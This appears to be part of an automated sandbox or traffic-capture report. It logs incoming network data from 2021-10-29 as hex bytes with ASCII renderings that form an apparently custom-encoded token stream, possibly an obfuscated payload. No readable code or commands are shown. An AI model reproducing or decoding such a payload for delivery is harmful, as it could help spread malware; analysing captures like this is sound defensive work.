2021-10-29 15:55:26 UTC	104	IN	Data Raw: 71 71 6d 20 57 4f 20 6d 58 20 57 4f 20 71 57 20 58 6d 20 71 71 6d 20 71 71 45 20 44 6d 20 71 71 70 20 57 4f 20 6d 58 20 58 6d 20 57 57 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4a 20 6d 58 20 57 4f 20 57 6d 20 57 44 20 71 71 57 20 71 71 45 20 71 4f 4d 20 4a 20 57 71 20 6d 58 20 57 4f 20 57 70 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 70 20 71 71 4a 20 57 4f 20 6d 4d 20 6d 71 20 44 20 58 71 20 71 71 6d 20 4a 6d 4f 20 71 71 71 20 71 71 4a 20 57 4f 20 71 4a 45 20 57 4f 20 57 6d 20 44 4d 20 71 20 4a 71 4f 20 71 4f 4d 20 71 71 4a 20 57 44 20 57 58 20 71 58 20 71 58 45 20 58 6d 20 71 71 6d 20 71 71 45 20 4a 4a 6d 20 6d 4a 20 57 4f 20 6d 58 20 57 71 Data Ascii: qqm WO mX WO qW Xm qqm qqE Dm qqp WO mX Xm WW Xm qqm qJE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WJ mX WO Wm WD qqW qqE qOM J Wq mX WO Wp Xm qqm qqE qOp qqJ WO mM mq D Xq qqm JmO qqq qqJ WO qJE WO Wm DM q JqO qOM qqJ WD WX qX qXE Xm qqm qqE JJm mJ WO mX Wq
2021-10-29 15:55:26 UTC	108	IN	Data Raw: 57 4f 20 57 6d 20 58 6d 20 71 71 4a 20 71 71 45 20 70 44 20 71 71 4a 20 71 45 58 20 4a 6d 4d 20 57 4f 20 44 4f 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 71 6d 20 57 4f 20 71 44 57 20 71 4a 4d 20 71 71 6d 20 71 4a 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 4a 20 71 71 6d 20 71 45 6d 20 71 6d 4f 20 71 71 4a 20 6d 4d 20 57 58 20 57 4f 20 57 6d 20 58 57 20 71 4f 57 20 44 4d 20 71 4f 6d 20 71 71 4a 20 71 4f 58 20 6d 4d 20 57 4f 20 57 6d 20 6d 20 71 71 6d 20 71 71 45 20 71 4a 6d 20 70 20 71 6d 4d 20 6d 58 20 57 4f 20 44 4f 20 4d 6d 20 71 4f 4d 20 45 4f 20 4a 4a 6d 20 6d 4a 20 57 4f 20 6d 58 20 57 71 20 71 4d 20 71 70 4a 20 71 44 57 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 44 20 45 20 57 4f 20 57 6d 20 4d Data Ascii: WO Wm Xm qqJ qqE pD qqJ qEX JmM WO DO Xm qqm qqE qOM qqm WO qqm WO qDW qJM qqm qJE qOM qqJ WO mX WO Wm XJ qqm qEm qmO qqJ mM WX WO Wm XW qOW DM qOm qqJ qOX mM WO Wm m qqm qqE qJm p qmM mX WO DO Mm qOM EO JJm mJ WO mX Wq qM qpJ qDW qqE qOM qqD JD E WO Wm M
2021-10-29 15:55:26 UTC	112	IN	Data Raw: 20 58 6d 20 71 4a 4f 20 4a 44 20 71 58 58 20 71 71 4a 20 57 4f 20 57 58 20 57 4a 20 6d 71 20 4d 4f 20 4a 57 57 20 6d 45 20 71 4f 4d 20 71 71 4a 20 57 71 20 4a 71 20 4a 4a 44 20 4a 6d 57 20 58 6d 20 71 71 6d 20 71 71 70 20 44 4d 20 45 71 20 57 4f 20 6d 58 20 57 44 20 44 4d 20 71 4f 58 20 71 71 6d 20 71 71 45 20 71 4f 70 20 70 71 20 4a 4a 45 20 6d 58 20 57 4f 20 44 4f 20 70 4d 20 4a 71 70 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 57 45 20 57 70 20 70 4f 20 44 4a 20 58 71 20 4a 57 4a 20 58 4d 20 71 4f 57 20 71 71 44 20 6d 4d 20 71 20 6d 58 20 6d 4d 20 71 4a 44 20 71 71 6d 20 71 71 4d 20 44 4d 20 71 44 4a 20 57 4f 20 6d 58 20 57 44 20 57 58 20 44 44 20 71 4a 45 20 45 45 20 71 4a 6d 20 71 71 70 20 57 4f 20 6d 58 20 57 58 20 44 70 20 4a 4f 44 20 4d 45 20 71 71 70 Data Ascii: Xm qJO JD qXX qqJ WO WX WJ mq MO JWW mE qOM qqJ Wq Jq JJD JmW Xm qqm qqp DM Eq WO mX WD DM qOX qqm qqE qOp pq JJE mX WO DO pM Jqp qqE qOM qJJ WE Wp pO DJ Xq JWJ XM qOW qqD mM q mX mM qJD qqm qqM DM qDJ WO mX WD WX DD qJE EE qJm qqp WO mX WX Dp JOD ME qqp
2021-10-29 15:55:26 UTC	116	IN	Data Raw: 4a 4f 20 58 44 20 71 71 70 20 58 20 4d 6d 20 71 71 4a 20 57 4f 20 57 4a 20 4a 6d 20 6d 4f 20 58 44 20 4d 20 44 57 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 44 20 71 44 20 57 4a 20 58 45 20 71 57 20 44 57 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 44 20 6d 6d 20 57 4a 20 6d 45 20 45 71 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 6d 20 71 58 20 6d 58 20 57 70 20 6d 71 20 45 71 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 6d 20 6d 44 20 6d 58 20 45 45 20 4d 58 20 71 71 6d 20 71 71 45 20 71 4f 57 20 4d 4f 20 71 44 20 57 4f 20 6d 4d 20 45 57 20 4d 58 20 71 71 6d 20 71 71 45 20 71 4f 57 20 4d 4f 20 6d 6d 20 57 4f 20 45 70 20 71 20 58 6d 20 71 71 6d 20 71 71 70 20 45 71 20 58 4a 20 6d 58 20 57 71 20 45 4d 20 71 20 58 6d 20 71 71 6d 20 71 71 70 20 45 71 20 71 71 4f 20 6d 58 Data Ascii: JO XD qqp X Mm qqJ WO WJ Jm mO XD M DW qOM qqJ Wm JD qD WJ XE qW DW qOM qqJ Wm JD mm WJ mE Eq qqE qOM qqD Jm qX mX Wp mq Eq qqE qOM qqD Jm mD mX EE MX qqm qqE qOW MO qD WO mM EW MX qqm qqE qOW MO mm WO Ep q Xm qqm qqp Eq XJ mX Wq EM q Xm qqm qqp Eq qqO mX
2021-10-29 15:55:26 UTC	120	IN	Data Raw: 71 57 20 71 71 4a 20 57 4f 20 57 58 20 4a 6d 20 6d 4f 20 58 44 20 4d 20 4d 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 44 20 71 44 20 57 4a 20 58 45 20 71 57 20 4d 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 44 20 6d 6d 20 57 4a 20 6d 45 20 71 57 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 6d 20 71 58 20 6d 58 20 57 70 20 6d 71 20 71 57 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 6d 20 6d 44 20 6d 58 20 45 45 20 6d 4a 20 71 71 6d 20 71 71 45 20 71 4f 57 20 4d 4f 20 71 44 20 57 4f 20 6d 4d 20 45 57 20 6d 4a 20 71 71 6d 20 71 71 45 20 71 4f 57 20 4d 4f 20 6d 6d 20 57 4f 20 4a 44 20 58 6d 20 58 6d 20 71 71 6d 20 71 4a 45 20 45 71 20 71 71 4f 20 6d 58 20 45 57 20 45 45 20 57 6d 20 58 6d 20 71 71 58 20 4d 57 20 45 4d 20 71 71 6d 20 6d 4d 20 45 45 20 45 45 20 57 6d 20 58 6d Data Ascii: qW qqJ WO WX Jm mO XD M M qOM qqJ Wm JD qD WJ XE qW M qOM qqJ Wm JD mm WJ mE qW qqE qOM qqD Jm qX mX Wp mq qW qqE qOM qqD Jm mD mX EE mJ qqm qqE qOW MO qD WO mM EW mJ qqm qqE qOW MO mm WO JD Xm Xm qqm qJE Eq qqO mX EW EE Wm Xm qqX MW EM qqm mM EE EE Wm Xm
2021-10-29 15:55:26 UTC	124	IN	Data Raw: 20 71 4a 4f 20 71 44 4d 20 71 45 4d 20 71 71 57 20 4a 4f 20 4a 70 58 20 57 4f 20 70 44 20 58 44 20 4d 4f 20 4a 71 57 20 71 4f 58 20 71 71 4a 20 57 44 20 71 4f 20 71 4a 4f 20 4a 4f 71 20 71 45 71 20 71 6d 71 20 71 45 71 20 4d 4d 20 4d 58 20 6d 58 20 4a 4f 44 20 70 44 20 71 71 6d 20 58 6d 20 71 71 6d 20 71 71 4f 20 4a 20 71 4a 70 20 57 4f 20 6d 58 20 57 44 20 4a 70 6d 20 58 44 20 71 20 4a 70 58 20 71 4f 58 20 71 71 4a 20 57 4a 20 70 57 20 57 58 20 70 4d 20 4d 4a 20 4d 4f 20 4d 20 71 4f 4d 20 71 71 4a 20 57 44 20 57 57 20 4d 70 20 71 45 45 20 58 6d 20 71 71 6d 20 71 4a 45 20 4a 20 4f 20 57 4f 20 6d 58 20 57 44 20 58 4d 20 4a 6d 44 20 71 71 57 20 71 71 45 20 71 4f 45 20 4d 45 20 57 58 20 6d 45 20 4a 4f 20 71 58 45 20 71 6d 20 71 71 6d 20 71 71 45 20 71 4f 58 Data Ascii: qJO qDM qEM qqW JO JpX WO pD XD MO JqW qOX qqJ WD qO qJO JOq qEq qmq qEq MM MX mX JOD pD qqm Xm qqm qqO J qJp WO mX WD Jpm XD q JpX qOX qqJ WJ pW WX pM MJ MO M qOM qqJ WD WW Mp qEE Xm qqm qJE J O WO mX WD XM JmD qqW qqE qOE ME WX mE JO qXE qm qqm qqE qOX
2021-10-29 15:55:26 UTC	127	IN	Data Raw: 4f 20 70 4f 20 57 6d 20 71 70 4f 20 45 58 20 71 71 44 20 71 71 45 20 45 45 20 71 71 44 20 71 70 6d 20 6d 4a 20 4a 4d 20 57 6d 20 6d 71 20 45 4f 20 71 71 45 20 71 4f 4d 20 71 71 58 20 57 4f 20 4a 6d 57 20 4a 4d 20 45 4f 20 71 4a 4f 20 71 71 44 20 71 71 45 20 45 71 20 58 4a 20 44 44 20 4a 58 20 57 4a 20 57 6d 20 71 70 6d 20 71 71 70 20 57 20 44 57 20 71 71 58 20 57 4f 20 71 6d 4f 20 57 4a 20 45 4f 20 71 4a 4f 20 71 71 44 20 71 71 45 20 4a 70 58 20 58 57 20 71 6d 45 20 57 20 44 4f 20 57 6d 20 4a 57 4f 20 44 45 20 71 6d 57 20 45 4f 20 71 71 58 20 57 4f 20 71 4d 58 20 71 20 45 58 20 71 71 4f 20 71 71 44 20 71 71 45 20 4a 6d 6d 20 58 4f 20 44 44 20 4a 58 20 44 4f 20 57 6d 20 71 58 57 20 71 4f 4d 20 71 6d 57 20 45 4f 20 71 71 58 20 57 4f 20 71 57 70 20 4a 20 71 Data Ascii: O pO Wm qpO EX qqD qqE EE qqD qpm mJ JM Wm mq EO qqE qOM qqX WO JmW JM EO qJO qqD qqE Eq XJ DD JX WJ Wm qpm qqp W DW qqX WO qmO WJ EO qJO qqD qqE JpX XW qmE W DO Wm JWO DE qmW EO qqX WO qMX q EX qqO qqD qqE Jmm XO DD JX DO Wm qXW qOM qmW EO qqX WO qWp J q
2021-10-29 15:55:26 UTC	132	IN	Data Raw: 4a 70 20 57 4f 20 6d 4d 20 57 71 20 57 6d 20 58 6d 20 71 58 57 20 45 70 20 71 4f 4d 20 71 71 4a 20 4d 57 20 6d 58 20 57 4d 20 57 6d 20 4a 71 70 20 71 71 6d 20 4a 6d 6d 20 71 4f 4d 20 4d 44 20 57 4f 20 71 58 6d 20 71 45 20 57 6d 20 58 6d 20 4d 71 20 71 71 45 20 71 4f 4f 20 71 71 4a 20 71 58 70 20 6d 58 20 71 45 4d 20 57 57 20 44 58 20 71 71 6d 20 44 6d 20 6d 44 20 71 71 4a 20 57 4f 20 4a 57 20 57 4f 20 44 71 20 58 6d 20 4a 6d 4d 20 71 71 45 20 4a 70 44 20 71 71 70 20 70 6d 20 6d 58 20 71 58 6d 20 45 20 58 6d 20 71 71 6d 20 4d 4a 20 71 4f 4d 20 71 4a 70 20 57 4f 20 71 58 58 20 57 4f 20 71 58 70 20 58 57 20 4d 58 20 71 71 45 20 71 4d 71 20 58 58 20 57 4f 20 6d 58 20 4a 45 20 57 6d 20 4d 57 20 71 71 6d 20 4a 6d 58 20 71 4f 4d 20 4a 6d 71 20 57 71 20 70 4a 20 Data Ascii: Jp WO mM Wq Wm Xm qXW Ep qOM qqJ MW mX WM Wm Jqp qqm Jmm qOM MD WO qXm qE Wm Xm Mq qqE qOO qqJ qXp mX qEM WW DX qqm Dm mD qqJ WO JW WO Dq Xm JmM qqE JpD qqp pm mX qXm E Xm qqm MJ qOM qJp WO qXX WO qXp XW MX qqE qMq XX WO mX JE Wm MW qqm JmX qOM Jmq Wq pJ
2021-10-29 15:55:26 UTC	136	IN	Data Raw: 20 57 6d 20 71 4f 20 71 4a 70 20 71 71 45 20 71 4f 4d 20 6d 71 20 57 71 20 4a 4f 20 57 71 20 71 4d 20 58 44 20 4d 45 20 71 71 44 20 71 4f 4d 20 71 71 4a 20 45 71 20 44 70 20 57 4f 20 57 6d 20 71 70 20 71 71 57 20 58 71 20 71 4f 58 20 58 57 20 6d 58 20 70 57 20 57 71 20 57 6d 20 58 6d 20 4a 6d 44 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 4f 45 20 6d 4d 20 4a 4a 20 57 57 20 71 71 70 20 71 71 4a 20 71 4f 4a 20 71 4f 58 20 71 71 4a 20 57 4f 20 57 70 20 57 57 20 57 6d 20 58 6d 20 6d 70 20 71 71 44 20 45 70 20 71 71 70 20 4a 70 20 57 4f 20 70 70 20 57 57 20 58 6d 20 71 71 6d 20 4a 70 71 20 4d 58 20 71 71 4a 20 57 4f 20 71 4f 57 20 57 71 20 71 58 20 58 57 20 58 45 20 71 71 4d 20 71 4a 44 20 71 71 70 20 57 4f 20 6d 58 20 4a 6d 4a 20 57 6d 20 58 6d 20 71 71 6d 20 Data Ascii: Wm qO qJp qqE qOM mq Wq JO Wq qM XD ME qqD qOM qqJ Eq Dp WO Wm qp qqW Xq qOX XW mX pW Wq Wm Xm JmD qqE qOM qqJ qOE mM JJ WW qqp qqJ qOJ qOX qqJ WO Wp WW Wm Xm mp qqD Ep qqp Jp WO pp WW Xm qqm Jpq MX qqJ WO qOW Wq qX XW XE qqM qJD qqp WO mX JmJ Wm Xm qqm
2021-10-29 15:55:26 UTC	140	IN	Data Raw: 4f 20 6d 70 20 6d 44 20 71 6d 6d 20 58 6d 20 71 71 57 20 71 71 45 20 6d 70 20 71 4f 58 20 57 4a 20 70 70 20 57 71 20 57 6d 20 6d 6d 20 71 71 71 20 71 4f 20 71 4a 6d 20 71 71 70 20 57 4f 20 71 44 4a 20 6d 45 20 71 6d 6d 20 58 6d 20 44 57 20 71 71 44 20 4a 4a 4a 20 71 4a 44 20 71 58 4a 20 70 70 20 71 20 57 57 20 71 4a 20 4d 58 20 4a 57 4a 20 71 4a 6d 20 44 45 20 57 71 20 44 6d 20 70 58 20 71 45 58 20 44 4d 20 44 57 20 71 71 44 20 71 71 4f 20 71 71 4d 20 71 58 58 20 70 70 20 71 20 57 57 20 71 45 6d 20 71 4a 45 20 4a 70 4f 20 71 4a 6d 20 44 45 20 57 71 20 71 4d 44 20 57 44 20 71 45 6d 20 44 4d 20 44 57 20 71 71 44 20 4a 70 71 20 71 4a 44 20 71 45 57 20 70 70 20 71 20 57 57 20 4a 71 70 20 4d 58 20 4a 71 57 20 71 4a 6d 20 44 45 20 57 71 20 4a 57 4a 20 44 71 20 Data Ascii: O mp mD qmm Xm qqW qqE mp qOX WJ pp Wq Wm mm qqq qO qJm qqp WO qDJ mE qmm Xm DW qqD JJJ qJD qXJ pp q WW qJ MX JWJ qJm DE Wq Dm pX qEX DM DW qqD qqO qqM qXX pp q WW qEm qJE JpO qJm DE Wq qMD WD qEm DM DW qqD Jpq qJD qEW pp q WW Jqp MX JqW qJm DE Wq JWJ Dq
2021-10-29 15:55:26 UTC	144	IN	Data Raw: 71 58 57 20 45 58 20 71 71 70 20 57 4f 20 44 20 57 4f 20 58 4a 20 71 4f 4d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 44 6d 20 6d 58 20 71 4d 57 20 4d 20 71 58 4f 20 4d 45 20 44 45 20 71 4f 4d 20 71 4d 4a 20 71 71 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 4a 4a 45 20 71 71 45 20 71 57 44 20 45 4d 20 4a 71 70 20 70 57 20 71 4f 20 57 6d 20 71 4a 20 45 4a 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 45 45 20 57 4f 20 71 4f 4d 20 71 4f 57 20 71 70 4f 20 71 4f 4a 20 58 45 20 71 71 4a 20 71 6d 20 71 71 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 4a 6d 6d 20 71 4f 4d 20 71 4d 57 20 4a 71 20 4a 4f 45 20 70 70 20 4d 20 58 6d 20 71 6d 20 45 58 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 71 45 4d 20 57 6d 20 71 45 4a 20 44 45 20 71 71 70 20 71 4a 71 20 Data Ascii: qXW EX qqp WO D WO XJ qOM qqm qqE qOM qqJ qDm mX qMW M qXO ME DE qOM qMJ qq mX WO Wm Xm JJE qqE qWD EM Jqp pW qO Wm qJ EJ qqE qOM qqJ WO qEE WO qOM qOW qpO qOJ XE qqJ qm qq WO Wm Xm qqm Jmm qOM qMW Jq JOE pp M Xm qm EX qOM qqJ WO mX qEM Wm qEJ DE qqp qJq
2021-10-29 15:55:26 UTC	148	IN	Data Raw: 20 71 71 45 20 4a 57 71 20 71 71 4a 20 71 71 71 20 6d 44 20 4a 4a 70 20 70 6d 20 71 6d 70 20 71 71 6d 20 71 4f 57 20 57 70 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 71 44 4f 20 58 6d 20 71 4a 4d 20 71 71 57 20 71 4a 58 20 71 4f 4f 20 4a 70 44 20 6d 58 20 58 20 71 71 4f 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 4a 70 4f 20 57 4f 20 6d 57 20 70 20 4a 71 4d 20 44 6d 20 71 6d 45 20 71 71 45 20 70 70 20 6d 4f 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 71 4d 6d 20 71 71 6d 20 71 57 20 6d 6d 20 71 57 45 20 70 58 20 4a 71 4a 20 57 4f 20 71 4f 6d 20 71 4a 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 44 6d 20 6d 58 20 71 71 4f 20 6d 4d 20 71 58 57 20 71 4f 4a 20 71 6d 44 20 71 4f 4d 20 6d 20 71 4f 44 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 4a 4a 58 20 71 Data Ascii: qqE JWq qqJ qqq mD JJp pm qmp qqm qOW Wp qqJ WO mX WO qDO Xm qJM qqW qJX qOO JpD mX X qqO Xm qqm qqE qOM JpO WO mW p JqM Dm qmE qqE pp mO WO mX WO Wm qMm qqm qW mm qWE pX JqJ WO qOm qJ qqm qqE qOM qqJ qDm mX qqO mM qXW qOJ qmD qOM m qOD mX WO Wm Xm JJX q
2021-10-29 15:55:26 UTC	152	IN	Data Raw: 6d 20 71 4a 6d 20 4d 4d 20 70 70 20 71 71 70 20 57 4f 20 71 58 70 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 4a 4a 45 20 71 4f 4d 20 71 6d 45 20 4a 6d 20 70 58 20 70 44 20 71 4a 4f 20 58 57 20 4a 6d 71 20 4a 6d 4a 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 71 44 6d 20 44 4a 20 4a 4d 20 71 4f 45 20 71 4f 6d 20 71 4a 70 20 44 70 20 57 71 20 71 4a 58 20 71 58 71 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 4a 57 71 20 71 71 4a 20 4d 44 20 6d 71 20 71 45 20 70 4a 20 4a 45 20 71 71 57 20 71 70 70 20 4a 70 6d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 71 44 4f 20 58 6d 20 6d 71 20 71 4f 58 20 71 58 4f 20 71 4a 57 20 4d 58 20 6d 4d 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 4a 6d 57 20 71 4f 4d 20 4a 4a 57 20 71 58 20 4a 4a 4f 20 58 20 4a 58 20 44 44 20 70 57 20 Data Ascii: m qJm MM pp qqp WO qXp WO Wm Xm qqm JJE qOM qmE Jm pX pD qJO XW Jmq JmJ qOM qqJ WO mX qDm DJ JM qOE qOm qJp Dp Wq qJX qXq Wm Xm qqm qqE JWq qqJ MD mq qE pJ JE qqW qpp Jpm qqJ WO mX WO qDO Xm mq qOX qXO qJW MX mM WO Wm Xm qqm JmW qOM JJW qX JJO X JX DD pW
2021-10-29 15:55:26 UTC	156	IN	Data Raw: 20 6d 58 20 57 4f 20 57 6d 20 4a 71 4f 20 71 4a 4a 20 71 45 57 20 71 4f 45 20 4d 44 20 57 4f 20 71 58 45 20 57 71 20 4a 57 4f 20 4a 6d 57 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 58 4f 20 57 44 20 71 70 57 20 44 4a 20 4a 4a 4d 20 71 4f 4f 20 4a 6d 4d 20 71 4f 58 20 71 44 6d 20 71 6d 45 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 4a 6d 6d 20 71 4a 57 20 4a 4f 58 20 71 4a 4f 20 71 70 45 20 70 58 20 71 4d 4f 20 57 57 20 71 70 45 20 4a 71 71 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 58 4a 20 57 58 20 71 4f 20 4d 57 20 71 58 4f 20 4d 4d 20 4a 4a 6d 20 71 71 70 20 4a 71 57 20 71 6d 57 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 4a 6d 70 20 71 4f 71 20 57 4a 20 57 45 20 4a 4a 6d 20 70 44 20 71 58 45 20 58 57 20 71 57 44 20 4a 71 4a 20 71 4f 4d 20 Data Ascii: mX WO Wm JqO qJJ qEW qOE MD WO qXE Wq JWO JmW qqm qqE qOM qqJ qXO WD qpW DJ JJM qOO JmM qOX qDm qmE mX WO Wm Xm Jmm qJW JOX qJO qpE pX qMO WW qpE Jqq qqE qOM qqJ WO qXJ WX qO MW qXO MM JJm qqp JqW qmW WO Wm Xm qqm Jmp qOq WJ WE JJm pD qXE XW qWD JqJ qOM
2021-10-29 15:55:26 UTC	159	IN	Data Raw: 4f 20 6d 58 20 57 4f 20 57 6d 20 4a 71 4f 20 71 4a 4a 20 71 58 58 20 71 4a 6d 20 71 4f 45 20 57 4f 20 71 57 44 20 57 71 20 71 6d 4a 20 4a 6d 71 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 58 4f 20 57 44 20 4a 4a 45 20 70 4d 20 4a 4d 20 71 71 4d 20 4a 71 45 20 71 4f 58 20 71 45 45 20 71 57 71 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 4a 6d 6d 20 71 4a 57 20 71 71 57 20 71 71 4a 20 71 45 70 20 70 45 20 71 57 4d 20 57 57 20 71 57 45 20 4a 71 57 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 58 4a 20 57 58 20 71 45 20 58 6d 20 4a 71 70 20 4d 44 20 71 4d 4a 20 71 71 70 20 4a 4a 6d 20 71 6d 4d 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 4a 6d 70 20 71 4f 71 20 71 4f 44 20 6d 4d 20 71 45 57 20 70 4d 20 71 57 4a 20 58 57 20 71 44 58 20 4a 4f 58 20 71 4f Data Ascii: O mX WO Wm JqO qJJ qXX qJm qOE WO qWD Wq qmJ Jmq qqm qqE qOM qqJ qXO WD JJE pM JM qqM JqE qOX qEE qWq mX WO Wm Xm Jmm qJW qqW qqJ qEp pE qWM WW qWE JqW qqE qOM qqJ WO qXJ WX qE Xm Jqp MD qMJ qqp JJm qmM WO Wm Xm qqm Jmp qOq qOD mM qEW pM qWJ XW qDX JOX qO
2021-10-29 15:55:26 UTC	164	IN	Data Raw: 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 58 4a 20 57 58 20 71 70 4d 20 4d 4a 20 4d 58 20 71 71 45 20 71 4d 4f 20 71 71 70 20 71 45 20 71 57 70 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 4a 6d 70 20 71 4f 71 20 45 44 20 57 45 20 4a 6d 4d 20 57 4f 20 4a 4a 44 20 58 57 20 58 4d 20 4a 4a 4f 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 71 58 4f 20 44 4a 20 71 44 20 71 4a 71 20 71 4f 71 20 71 4f 4d 20 71 44 6d 20 57 71 20 6d 20 71 57 57 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 4a 70 57 20 71 4a 4f 20 4a 70 57 20 44 4f 20 4a 57 71 20 57 6d 20 71 4a 4d 20 71 71 57 20 45 70 20 71 4d 44 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 71 45 44 20 4d 4a 20 71 6d 45 20 71 4a 71 20 71 4a 57 20 71 71 4a 20 4a 70 71 20 6d 4d 20 71 71 4d 20 71 57 4d 20 58 6d 20 71 71 Data Ascii: qqE qOM qqJ WO qXJ WX qpM MJ MX qqE qMO qqp qE qWp WO Wm Xm qqm Jmp qOq ED WE JmM WO JJD XW XM JJO qOM qqJ WO mX qXO DJ qD qJq qOq qOM qDm Wq m qWW Wm Xm qqm qqE JpW qJO JpW DO JWq Wm qJM qqW Ep qMD qqJ WO mX WO qED MJ qmE qJq qJW qqJ Jpq mM qqM qWM Xm qq
2021-10-29 15:55:26 UTC	168	IN	Data Raw: 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 4a 6d 70 20 57 4f 20 4d 58 20 6d 58 20 4a 4a 71 20 44 45 20 6d 57 20 71 71 4d 20 4a 70 44 20 4a 71 4d 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 4a 71 4f 20 71 4f 44 20 4a 57 70 20 58 4d 20 71 71 45 20 57 4f 20 58 4f 20 6d 58 20 71 57 4f 20 4a 57 57 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 4a 71 71 20 6d 4d 20 71 70 4d 20 4a 71 20 58 57 20 71 71 6d 20 4a 4f 20 71 71 71 20 4a 71 4a 20 71 57 70 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 6d 45 20 71 71 44 20 71 45 71 20 6d 58 20 6d 71 20 6d 58 20 58 70 20 57 4a 20 6d 20 4a 4a 70 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 4a 4f 4d 20 57 4d 20 70 57 20 71 4f 45 20 4a 4f 70 20 71 4f 4d 20 71 4a 20 71 71 6d 20 71 4f 44 20 71 57 45 20 57 4f 20 57 6d 20 58 Data Ascii: Xm qqm qqE qOM Jmp WO MX mX JJq DE mW qqM JpD JqM WO mX WO Wm JqO qOD JWp XM qqE WO XO mX qWO JWW qqm qqE qOM qqJ Jqq mM qpM Jq XW qqm JO qqq JqJ qWp mX WO Wm Xm qmE qqD qEq mX mq mX Xp WJ m JJp qqE qOM qqJ WO JOM WM pW qOE JOp qOM qJ qqm qOD qWE WO Wm X
2021-10-29 15:55:26 UTC	172	IN	Data Raw: 20 71 71 70 20 71 71 45 20 71 71 6d 20 45 58 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 57 57 20 4d 70 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 57 70 20 71 4f 20 57 6d 20 58 6d 20 71 71 70 20 71 71 45 20 71 71 6d 20 45 58 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 57 57 20 4d 70 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 57 70 20 71 4f 20 57 6d 20 58 6d 20 71 71 70 20 71 71 45 20 71 71 6d 20 45 58 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 57 57 20 4d 70 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 57 70 20 71 4f 20 57 6d 20 58 6d 20 71 71 70 20 71 71 45 20 71 71 6d 20 45 58 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 57 57 20 4d 70 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 57 70 20 71 4f 20 57 6d 20 58 6d 20 71 71 70 20 71 71 45 20 71 71 Data Ascii: qqp qqE qqm EX WO mX Wq Wm WW Mp qqE qOM qqm WO qWp qO Wm Xm qqp qqE qqm EX WO mX Wq Wm WW Mp qqE qOM qqm WO qWp qO Wm Xm qqp qqE qqm EX WO mX Wq Wm WW Mp qqE qOM qqm WO qWp qO Wm Xm qqp qqE qqm EX WO mX Wq Wm WW Mp qqE qOM qqm WO qWp qO Wm Xm qqp qqE qq
